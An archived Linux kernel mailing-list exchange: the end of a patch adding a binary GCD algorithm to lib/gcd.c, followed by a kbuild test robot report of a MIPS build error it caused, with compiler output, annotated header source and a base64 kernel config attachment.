@@ -16,6 +16,7 @@ config NIOS2
 	select SOC_BUS
 	select SPARSE_IRQ
 	select USB_ARCH_HAS_HCD if USB_SUPPORT
+	select CPU_NO_EFFICIENT_FFS
 
 config GENERIC_CSUM
 	def_bool y
diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
index e118c02..142cb05 100644
--- a/arch/openrisc/Kconfig
+++ b/arch/openrisc/Kconfig
@@ -25,6 +25,7 @@ config OPENRISC
 	select MODULES_USE_ELF_RELA
 	select HAVE_DEBUG_STACKOVERFLOW
 	select OR1K_PIC
+	select CPU_NO_EFFICIENT_FFS if !OPENRISC_HAVE_INST_FF1
 
 config MMU
 	def_bool y
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 88cfaa8..3d498a6 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -32,6 +32,7 @@ config PARISC
 	select HAVE_ARCH_AUDITSYSCALL
 	select HAVE_ARCH_SECCOMP_FILTER
 	select ARCH_NO_COHERENT_DMA_MMAP
+	select CPU_NO_EFFICIENT_FFS
 
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
diff --git a/arch/score/Kconfig b/arch/score/Kconfig
index 366e1b5..507d631 100644
--- a/arch/score/Kconfig
+++ b/arch/score/Kconfig
@@ -14,6 +14,7 @@ config SCORE
 	select VIRT_TO_BUS
 	select MODULES_USE_ELF_REL
 	select CLONE_BACKWARDS
+	select CPU_NO_EFFICIENT_FFS
 
 choice
 	prompt "System type"
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 7ed20fc..56cf5e5 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -44,6 +44,7 @@ config SUPERH
 	select OLD_SIGSUSPEND
 	select OLD_SIGACTION
 	select HAVE_ARCH_AUDITSYSCALL
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  The SuperH is a RISC processor targeted for use in embedded systems
 	  and consumer electronics; it was also used in the Sega Dreamcast
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 57ffaf2..ca675ed 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -42,6 +42,7 @@ config SPARC
 	select ODD_RT_SIGACTION
 	select OLD_SIGSUSPEND
 	select ARCH_HAS_SG_CHAIN
+	select CPU_NO_EFFICIENT_FFS
 
 config SPARC32
 	def_bool !64BIT
diff --git a/lib/gcd.c b/lib/gcd.c
index 3657f12..eba7d4e 100644
--- a/lib/gcd.c
+++ b/lib/gcd.c
@@ -2,20 +2,68 @@
 #include <linux/gcd.h>
 #include <linux/export.h>
 
-/* Greatest common divisor */
+/*
+ * This implements the binary GCD algorithm. (Often attributed to Stein,
+ * but as Knuth has noted, appears a first-century Chinese math text.)
+ *
+ * This is faster than the division-based algorithm even on x86, which
+ * has decent hardware division.
+ */
+
+#if !defined(CONFIG_CPU_NO_EFFICIENT_FFS)
+
+/* If __ffs is available, the even/odd algorithm benchmarks slower. */
 unsigned long gcd(unsigned long a, unsigned long b)
 {
-	unsigned long r;
+	unsigned long r = a | b;
+
+	if (!a || !b)
+		return r;
 
-	if (a < b)
-		swap(a, b);
+	b >>= __ffs(b);
 
-	if (!b)
-		return a;
-	while ((r = a % b) != 0) {
-		a = b;
-		b = r;
+	for (;;) {
+		a >>= __ffs(a);
+		if (a == b)
+			return a << __ffs(r);
+		if (a < b)
+			swap(a, b);
+		a -= b;
 	}
+}
+
+#else
+
+/* If normalization is done by loops, the even/odd algorithm is a win. */
+unsigned long gcd(unsigned long a, unsigned long b)
+{
+	unsigned long r = a | b;
+
+	if (!a || !b)
+		return r;
+
+	/* Isolate lsbit of r */
+	r &= -r;
+
+	while (!(a & r))
+		a >>= 1;
+	while (!(b & r))
+		b >>= 1;
+
+	while (a != b) {
+		if (a < b)
+			swap(a, b);
+		a -= b;
+
+		a >>= 1;
+		if (a & r)
+			a += b;
+		do a >>= 1; while (!(a & r));
+	}
+
 	return b;
 }
+
+#endif
+
 EXPORT_SYMBOL_GPL(gcd);
-- 
2.5.0





From - Thu Nov 08 21:38:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [patch V3] lib: GCD: add binary GCD algorithm
Date: Thu, 28 Apr 2016 20:18:01 +0800
Lines: 943
Approved: news@gmane.org
Message-ID: <201604282003.CNnbFCBq%fengguang.wu@intel.com>
References: <1461843824-19853-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="wRRV7LY7NUeQGEoC"
X-Trace: ger.gmane.org 1461845952 16284 80.91.229.3 (28 Apr 2016 12:19:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Apr 2016 12:19:12 +0000 (UTC)
Cc: kbuild-all@01.org, akpm@linux-foundation.org, linux@horizon.com,
	peterz@infradead.org, Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Russell King <linux@arm.linux.org.uk>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	James Hogan <james.hogan@imgtec.com>,
	Michal Simek <monstr@monstr.eu>,
	Ralf Baechle <ralf@linux-mips.org>,
	Ley Foon Tan <lftan@altera.com>,
	Jonas Bonn <jonas@southpole.se>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Chen Liqin <liqin.linux@gmail.com>,
	Lennox Wu <lennox.wu@gmail.com>, Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@davemloft.net>,
	linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	uclinux-h8-devel@li
To: zengzhaoxiu@163.com
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Apr 28 14:19:01 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1avkuK-0000jq-8Q
	for glpm-linux-m68k@plane.gmane.org; Thu, 28 Apr 2016 14:19:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752149AbcD1MS7 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Thu, 28 Apr 2016 08:18:59 -0400
Original-Received: from mga11.intel.com ([192.55.52.93]:42257 "EHLO mga11.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751801AbcD1MS6 (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
	Thu, 28 Apr 2016 08:18:58 -0400
Original-Received: from orsmga003.jf.intel.com ([10.7.209.27])
  by fmsmga102.fm.intel.com with ESMTP; 28 Apr 2016 05:18:56 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.24,546,1455004800"; 
   d="gz'50?scan'50,208,50";a="794210174"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by orsmga003.jf.intel.com with ESMTP; 28 Apr 2016 05:18:50 -0700
Original-Received: from kbuild by bee with local (Exim 4.83)
	(envelope-from <fengguang.wu@intel.com>)
	id 1avku4-000Rw2-HW; Thu, 28 Apr 2016 20:18:44 +0800
Content-Disposition: inline
In-Reply-To: <1461843824-19853-1-git-send-email-zengzhaoxiu@163.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8582 gmane.linux.kernel:2210485 gmane.linux.ports.alpha:3705 gmane.linux.ports.arm.kernel:496556 gmane.linux.kernel.metag:1063 gmane.linux.ports.mips.general:54403 gmane.linux.ports.openrisc:706 gmane.linux.ports.parisc:26732 gmane.linux.ports.sh.devel:53898 gmane.linux.ports.sparc:22899
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8582>


--wRRV7LY7NUeQGEoC
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi,

[auto build test ERROR on v4.6-rc5]
[cannot apply to next-20160428]
[if your patch is applied to the wrong git tree, please drop us a note to help improving the system]

url:    https://github.com/0day-ci/linux/commits/zengzhaoxiu-163-com/lib-GCD-add-binary-GCD-algorithm/20160428-195527
config: mips-allyesconfig (attached as .config)
reproduce:
        wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=mips 

All error/warnings (new ones prefixed by >>):

   In file included from arch/mips/include/asm/bitops.h:21:0,
                    from include/linux/bitops.h:36,
                    from include/linux/kernel.h:10,
                    from include/asm-generic/bug.h:13,
                    from arch/mips/include/asm/bug.h:41,
                    from include/linux/bug.h:4,
                    from include/linux/page-flags.h:9,
                    from kernel/bounds.c:9:
>> arch/mips/include/asm/cpu-features.h:205:28: warning: "cpu_data" is not defined [-Wundef]
    # define cpu_has_mips32r6 (cpu_data[0].isa_level & MIPS_CPU_ISA_M32R6)
                               ^
>> arch/mips/include/asm/cpu-features.h:241:5: note: in expansion of macro 'cpu_has_mips32r6'
        cpu_has_mips32r6 | cpu_has_mips64r1 | \
        ^
>> arch/mips/include/asm/cpu-features.h:289:25: note: in expansion of macro 'cpu_has_mips_r'
    #define cpu_has_clo_clz cpu_has_mips_r
                            ^
>> arch/mips/include/asm/cpu-features.h:291:6: note: in expansion of macro 'cpu_has_clo_clz'
    #if !cpu_has_clo_clz
         ^
>> arch/mips/include/asm/cpu-features.h:205:36: error: token "[" is not valid in preprocessor expressions
    # define cpu_has_mips32r6 (cpu_data[0].isa_level & MIPS_CPU_ISA_M32R6)
                                       ^
>> arch/mips/include/asm/cpu-features.h:241:5: note: in expansion of macro 'cpu_has_mips32r6'
        cpu_has_mips32r6 | cpu_has_mips64r1 | \
        ^
>> arch/mips/include/asm/cpu-features.h:289:25: note: in expansion of macro 'cpu_has_mips_r'
    #define cpu_has_clo_clz cpu_has_mips_r
                            ^
>> arch/mips/include/asm/cpu-features.h:291:6: note: in expansion of macro 'cpu_has_clo_clz'
    #if !cpu_has_clo_clz
         ^
   make[2]: *** [kernel/bounds.s] Error 1
   make[2]: Target '__build' not remade because of errors.
   make[1]: *** [prepare0] Error 2
   make[1]: Target 'prepare' not remade because of errors.
   make: *** [sub-make] Error 2

vim +205 arch/mips/include/asm/cpu-features.h

0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  199  # define cpu_has_mips32r1	(cpu_data[0].isa_level & MIPS_CPU_ISA_M32R1)
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  200  #endif
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  201  #ifndef cpu_has_mips32r2
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  202  # define cpu_has_mips32r2	(cpu_data[0].isa_level & MIPS_CPU_ISA_M32R2)
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  203  #endif
34c56fc1c arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  204  #ifndef cpu_has_mips32r6
34c56fc1c arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13 @205  # define cpu_has_mips32r6	(cpu_data[0].isa_level & MIPS_CPU_ISA_M32R6)
34c56fc1c arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  206  #endif
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  207  #ifndef cpu_has_mips64r1
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  208  # define cpu_has_mips64r1	(cpu_data[0].isa_level & MIPS_CPU_ISA_M64R1)
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  209  #endif
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  210  #ifndef cpu_has_mips64r2
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  211  # define cpu_has_mips64r2	(cpu_data[0].isa_level & MIPS_CPU_ISA_M64R2)
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  212  #endif
34c56fc1c arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  213  #ifndef cpu_has_mips64r6
34c56fc1c arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  214  # define cpu_has_mips64r6	(cpu_data[0].isa_level & MIPS_CPU_ISA_M64R6)
34c56fc1c arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  215  #endif
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  216  
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  217  /*
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  218   * Shortcuts ...
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  219   */
08a07904e arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  220  #define cpu_has_mips_2_3_4_5	(cpu_has_mips_2 | cpu_has_mips_3_4_5)
08a07904e arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  221  #define cpu_has_mips_3_4_5	(cpu_has_mips_3 | cpu_has_mips_4_5)
08a07904e arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  222  #define cpu_has_mips_4_5	(cpu_has_mips_4 | cpu_has_mips_5)
08a07904e arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  223  
08a07904e arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  224  #define cpu_has_mips_2_3_4_5_r	(cpu_has_mips_2 | cpu_has_mips_3_4_5_r)
08a07904e arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  225  #define cpu_has_mips_3_4_5_r	(cpu_has_mips_3 | cpu_has_mips_4_5_r)
08a07904e arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  226  #define cpu_has_mips_4_5_r	(cpu_has_mips_4 | cpu_has_mips_5_r)
08a07904e arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  227  #define cpu_has_mips_5_r	(cpu_has_mips_5 | cpu_has_mips_r)
08a07904e arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  228  
2d83fea78 arch/mips/include/asm/cpu-features.h Maciej W. Rozycki 2015-04-03  229  #define cpu_has_mips_3_4_5_64_r2_r6					\
2d83fea78 arch/mips/include/asm/cpu-features.h Maciej W. Rozycki 2015-04-03  230  				(cpu_has_mips_3 | cpu_has_mips_4_5_64_r2_r6)
2d83fea78 arch/mips/include/asm/cpu-features.h Maciej W. Rozycki 2015-04-03  231  #define cpu_has_mips_4_5_64_r2_r6					\
2d83fea78 arch/mips/include/asm/cpu-features.h Maciej W. Rozycki 2015-04-03  232  				(cpu_has_mips_4_5 | cpu_has_mips64r1 |	\
2d83fea78 arch/mips/include/asm/cpu-features.h Maciej W. Rozycki 2015-04-03  233  				 cpu_has_mips_r2 | cpu_has_mips_r6)
08a07904e arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  234  
34c56fc1c arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  235  #define cpu_has_mips32	(cpu_has_mips32r1 | cpu_has_mips32r2 | cpu_has_mips32r6)
34c56fc1c arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  236  #define cpu_has_mips64	(cpu_has_mips64r1 | cpu_has_mips64r2 | cpu_has_mips64r6)
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  237  #define cpu_has_mips_r1 (cpu_has_mips32r1 | cpu_has_mips64r1)
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  238  #define cpu_has_mips_r2 (cpu_has_mips32r2 | cpu_has_mips64r2)
34c56fc1c arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  239  #define cpu_has_mips_r6	(cpu_has_mips32r6 | cpu_has_mips64r6)
c46b302b9 arch/mips/include/asm/cpu-features.h Ralf Baechle      2008-10-28  240  #define cpu_has_mips_r	(cpu_has_mips32r1 | cpu_has_mips32r2 | \
34c56fc1c arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13 @241  			 cpu_has_mips32r6 | cpu_has_mips64r1 | \
34c56fc1c arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  242  			 cpu_has_mips64r2 | cpu_has_mips64r6)
34c56fc1c arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  243  
34c56fc1c arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  244  /* MIPSR2 and MIPSR6 have a lot of similarities */
34c56fc1c arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  245  #define cpu_has_mips_r2_r6	(cpu_has_mips_r2 | cpu_has_mips_r6)
0401572a9 include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  246  
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  247  /*
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  248   * cpu_has_mips_r2_exec_hazard - return if IHB is required on current processor
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  249   *
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  250   * Returns non-zero value if the current processor implementation requires
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  251   * an IHB instruction to deal with an instruction hazard as per MIPS R2
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  252   * architecture specification, zero otherwise.
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  253   */
41f0e4d04 arch/mips/include/asm/cpu-features.h David Daney       2009-05-12  254  #ifndef cpu_has_mips_r2_exec_hazard
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  255  #define cpu_has_mips_r2_exec_hazard					\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  256  ({									\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  257  	int __res;							\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  258  									\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  259  	switch (current_cpu_type()) {					\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  260  	case CPU_M14KC:							\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  261  	case CPU_74K:							\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  262  	case CPU_1074K:							\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  263  	case CPU_PROAPTIV:						\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  264  	case CPU_P5600:							\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  265  	case CPU_M5150:							\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  266  	case CPU_QEMU_GENERIC:						\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  267  	case CPU_CAVIUM_OCTEON:						\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  268  	case CPU_CAVIUM_OCTEON_PLUS:					\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  269  	case CPU_CAVIUM_OCTEON2:					\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  270  	case CPU_CAVIUM_OCTEON3:					\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  271  		__res = 0;						\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  272  		break;							\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  273  									\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  274  	default:							\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  275  		__res = 1;						\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  276  	}								\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  277  									\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  278  	__res;								\
9cdf30bd3 arch/mips/include/asm/cpu-features.h Ralf Baechle      2015-03-25  279  })
41f0e4d04 arch/mips/include/asm/cpu-features.h David Daney       2009-05-12  280  #endif
41f0e4d04 arch/mips/include/asm/cpu-features.h David Daney       2009-05-12  281  
47740eb88 arch/mips/include/asm/cpu-features.h Ralf Baechle      2009-04-19  282  /*
47740eb88 arch/mips/include/asm/cpu-features.h Ralf Baechle      2009-04-19  283   * MIPS32, MIPS64, VR5500, IDT32332, IDT32334 and maybe a few other
becee6b8c arch/mips/include/asm/cpu-features.h Maciej W. Rozycki 2013-09-22  284   * pre-MIPS32/MIPS64 processors have CLO, CLZ.	The IDT RC64574 is 64-bit and
417a5eb02 arch/mips/include/asm/cpu-features.h Ralf Baechle      2010-08-05  285   * has CLO and CLZ but not DCLO nor DCLZ.  For 64-bit kernels
47740eb88 arch/mips/include/asm/cpu-features.h Ralf Baechle      2009-04-19  286   * cpu_has_clo_clz also indicates the availability of DCLO and DCLZ.
47740eb88 arch/mips/include/asm/cpu-features.h Ralf Baechle      2009-04-19  287   */
47740eb88 arch/mips/include/asm/cpu-features.h Ralf Baechle      2009-04-19  288  #ifndef cpu_has_clo_clz
47740eb88 arch/mips/include/asm/cpu-features.h Ralf Baechle      2009-04-19 @289  #define cpu_has_clo_clz	cpu_has_mips_r
47740eb88 arch/mips/include/asm/cpu-features.h Ralf Baechle      2009-04-19  290  #endif
35e1a24e8 arch/mips/include/asm/cpu-features.h Zhaoxiu Zeng      2016-04-28 @291  #if !cpu_has_clo_clz
35e1a24e8 arch/mips/include/asm/cpu-features.h Zhaoxiu Zeng      2016-04-28  292  #define CONFIG_CPU_NO_EFFICIENT_FFS 1
35e1a24e8 arch/mips/include/asm/cpu-features.h Zhaoxiu Zeng      2016-04-28  293  #endif
47740eb88 arch/mips/include/asm/cpu-features.h Ralf Baechle      2009-04-19  294  

:::::: The code at line 205 was first introduced by commit
:::::: 34c56fc1c167facc375d927687df0a3891d164ac MIPS: asm: cpu: Add MIPSR6 ISA definitions

:::::: TO: Leonid Yegoshin <Leonid.Yegoshin@imgtec.com>
:::::: CC: Markos Chandras <markos.chandras@imgtec.com>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--wRRV7LY7NUeQGEoC
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
